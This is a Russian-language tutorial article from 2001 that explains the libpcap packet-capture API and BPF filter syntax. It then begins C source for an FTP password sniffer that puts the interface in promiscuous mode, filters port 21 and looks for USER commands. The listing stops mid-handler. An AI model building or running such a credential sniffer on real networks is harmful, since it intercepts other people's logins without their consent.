опубликован 13-07-2001 16:36 MSK
============================================
статья взята с сайта http://void.ru/content/792
============================================
Начну статью с описания основных функций: char *pcap_lookupdev(char *errbuf)
Данная функция возвращает имя сетевого интерфейса, установленного по умолчанию; в случае ошибки возвращает NULL и в аргумент функции записывает причину ошибки.
int pcap_lookupnet(char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf)
Функция позволяет получить номер/маску сети на сетевом интерфейсе заданным первым параметром, в случае ошибки возвращает -1 и записывает причину ошибки в последний аргумент.
(bpf_u_int32 это unsigned int).
pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
Функция возвращает дескриптор открытого сетевого интрефейса. Что делается с полученным? Происходит перехват пакетов с заданного первым аргументом, второй аргумент это максимальная длинна обрабатываемого пакета, обычно данное
значение равняется MTU на открываемом интерфейсе. Следующий аргумент задает: переводить ли интерфейс в PROMISC режим работы (1 - да, 0 - нет). Идущий далее параметр задает таймаут чтения с сетевого интерфейса в миллисекундах. Последний параметр - это буфер, куда, при возникновении ошибок, будут записываться причины (при ошибке функция возвращает NULL).
Тип данных pcap_t это структура:
struct pcap {
int fd; /* видимо реальный дескриптор интерфейса */
int snapshot;
int linktype; /* тип интерфейса, можно и не использовать, pcap_datalink,
а узнать тип интерфейса, просто pcap_t->linktype
int tzoff; /* оффсет временой зоны */
int offset; /* оффсет для правильной регулировки (чего?) */
struct pcap_sf sf;
struct pcap_md md;
int bufsize;
u_char *buffer;
u_char *bp;
int cc;
u_char *pkt; /* указатель на следующий пакет */
struct bpf_program fcode; /* структура для регулярного выражения
bpf, если bpf не встроен в ядро */
char errbuf[PCAP_ERRBUF_SIZE]; /* буфер для хранения информации об ошибках */
};
int pcap_stats(pcap_t *p, struct pcap_stat *ps)
Данная функция используется для получения статистики сетевого интерфейса во время работы нашей программы, первый её аргумент - это дескриптор открытого сетевого интерфейса, второй это указатель на стуркутуру pcap_stat.
struct pcap_stat {
u_int ps_recv; /* кол-во принятых пакетов */
u_int ps_drop; /* кол-во отброшенных пакетов */
u_int ps_ifdrop; /* отброшено определенным интерфейсом (пока не работает) */
};
int pcap_datalink(pcap_t *p)
Эта функция отображает тип открытого сетевого интерфейса, заданного его дескриптором.
Например возвращает DLT_EN10MB, это означает, что сетевой интерфейс - 10мбит Ethernet,
или DLT_PPP - PPP интерфейс (данная функция удобна для получения информации об используемом канальном уровне на данном интерфейсе).
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
Данная функция используется для создания цикла для обработки захватываемых пакетов, первым параметром задается дескриптор открытого интерфейса, вторым - количество пакетов, которое необходимо обработать, если параметр отрицательный то число пакетов не ограничено и цикл будет бесконечным, если не возникнет ошибка или пройдет время чтения с интерфейса заданный в функции pcap_open_live.
Третий параметр функции это указатель на функцию которая будет вызвана для обработки нового пакета.
Прототип функции для обработчика сообщений, имеет следующей вид:
void handler(char *, struct pcap_pkthdr *, u_char *)
int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)
Используется для занесения в структуру bpf_program строки, заданной 3им аргументом, в которой записано регулярное выражение в стиле bpf (Berkley Packet Filter). Данная возможность позволяет достаточно легко задавать свои правила фильтрации захватываемых пакетов, без того, чтобы писать самому сложные условия обработчика пакетов. Для тех кто не знаком с регулярными выражениями bpf, приведу несколько примеров.
Например нам нужно, чтобы в нашу программу попадали только пакеты по протоколу TCP, идущие на порт 21:
ip proto TCP and port 21
Или например я хочу получать только пакеты с адреса 192.168.0.1 на адрес 192.168.0.2 по протоколу icmp
src 192.168.0.1 and dst 192.168.0.2 and ip proto ICMP
Хотим видеть весь траффик, исключая TCP-траффик на 22 порт: proto TCP and not port 22
Показывать пакеты по протоколу ICMP или UDP пакеты на порт 31337: ip proto ICMP or ip proto UDP and port 31337
Пакеты идущие с хоста www.gov.ru: src host www.gov.ru
Для получения более подробной информации по регулярным выражениям bpf, читайте tcpdump(1).
Четвертый аргументом в функции выглядит так: 1, если оптимизировать код, 0, если нет. Следует добавить, что при оптимизации программа ест гараздо больше ресурсов.
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
Данная функция используется для применения фильтра, встроенного функцией pcap_compile в структуру bpf_program.
Функция возвращает -1 при ошибке, и 0 при удачном выполнении функции.
char *pcap_geterr(pcap_t *p)
Вернёт строку ошибки и будет использована для получения информации об ошибках, в таких функциях как:
pcap_setfilter(), pcap_compile(), pcap_loop() и др. Первым аргументом прописывается дескриптор открытого интерфейса.
void pcap_perror(pcap_t *p, char *prefix)
Выдаёт произошедшую ошибку на экран, используется для получения ошибок в функциях: pcap_setfilter(), pcap_compile(), pcap_loop() и др. Первым аргументом задается дескриптор открытого интерфейса.
u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h)
Функция возвращает указатель на следующий захваченный пакет. Вторым аргументом функции, задается указатель на достаточно полезную структуру pcap_pkthdr, которая будет заполнена данными после выполнения функции.
Так же рассматриваемая структура используется в обработчике пакетов, вызываемом функцией pcap_loop.
struct pcap_pkthdr {
struct timeval ts; /* временной штамп */
bpf_u_int32 caplen; /* длина пасти в данный момент */
bpf_u_int32 len; /* размер текущего захваченного пакета */
};
void pcap_close(pcap_t *p)
Данная функция закрывает открытый интерфейс.
Вот минимальные набор функций, что необходимы для написания своего анализатора траффика (сниффера), теперь перейдем непосредственно к написанию. Напишем простейший сниффер ftp паролей.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pcap.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <signal.h>
#define MAXLEN 1500 /* максимальная длинна читаемого с интерфейса пакета -
1500 байт (стандартный size MTU для Ethernet) */
#define TIMEOUT 500 /* таймаут чтения с интерфейса */
#define IP_H sizeof(struct ip)
#define ETH_H 14
#define TCP_H sizeof(struct tcphdr)
void handler(char *, struct pcap_pkthdr *, u_char *); /* обработчик пакетов */
void sighandler(); /* функция обработчик сигналов */
pcap_t *fd; /* дескриптор интерфейса */
int main(int argc, char **argv)
{
struct bpf_program bpf_fil; /* структура для фильтра */
char err[PCAP_ERRBUF_SIZE]; /* буфер для записи ошибок */
char *device; /* буфер, в котором будет находиться название интрефейса */
bpf_u_int32 net, mask; /* номер сети и маска */
pcap_handler process; /* обработчик пакетов */
/* выбираем сетевой интерфейс среди полученных функцией
pcap_lookupdev, или устанавливаем заданный вручную */
if (argc < 2)
{
printf("FTP password sniffer 1.0\n");
printf("Usage: %s <interface>\n", argv[0]);
device = pcap_lookupdev(err);
if (device == NULL)
{
printf("pcap_lookupdev error: %s\n", err);
exit(0);
}
printf("Interface not defined, using default\n");
}
else
{
device = (char *) calloc(3, 3);
strncpy(device, argv[1], 3);
printf("Using device: %s\n", device);
}
process = (pcap_handler) handler; // получаем указатель на функцию обработчик
/* открываем интерфейс и ставим его в PROMISC режим (3 аргумент единица) */
if ((fd = pcap_open_live(device, MAXLEN, 1, TIMEOUT, err)) == NULL)
{
printf("Cant open device %s\n", err);
exit(0);
}
signal(SIGINT, sighandler); /* сигнал INT будет обработан нашей функцией sighandler */
/* для начала сделаем, что бы наша программа работала только на Ethernet,
т.к. придётся немного повозиться с размерами фреймов канального уровня,
используемого на интерфейсе */
if (pcap_datalink(fd) != DLT_EN10MB)
{
printf("Only ethernet supported\n");
pcap_close(fd); // закрываем интерфейс
exit(0);
}
/* получаем номер сети и маску сети */
if ((pcap_lookupnet(device, &net, &mask, err)) < 0)
{
printf("pcap_lookupnet error: %s\n", err);
pcap_close(fd);
exit(0);
}
/* встриваем фильтр на IPv4 TCP порт 21 */
if ((pcap_compile(fd, &bpf_fil, "ip proto TCP and port 21", 1, mask)) < 0)
{
pcap_perror(fd, "pcap_compile ");
pcap_close(fd);
exit(0);
}
/* применяем фильтр */
if ((pcap_setfilter(fd, &bpf_fil)) < 0)
{
pcap_perror(fd, "pcap_setfilter ");
pcap_close(fd);
exit(0);
}
if (pcap_loop(fd, -1, process, NULL))
{
pcap_perror(fd, "pcap_loop ");
pcap_close(fd);
exit(0);
}
return 0;
}
/* функция обработки пакетов */
void handler(char *user, struct pcap_pkthdr *pkthdr, u_char *packet)
{
struct ip *ip; /* сткуктура IPv4 заголовка */
char *data;
char string[32];
int i;
ip = (struct ip *) (packet + ETH_H); /* забиваем структуру ip c оффсетом длинны
заголовка канального уровня (ethernet) */
data = (char *) (packet + ETH_H + IP_H + TCP_H); /* получаем указатель на
нформацию пакете */
if ((strncmp(data, "USER", 4) == 0)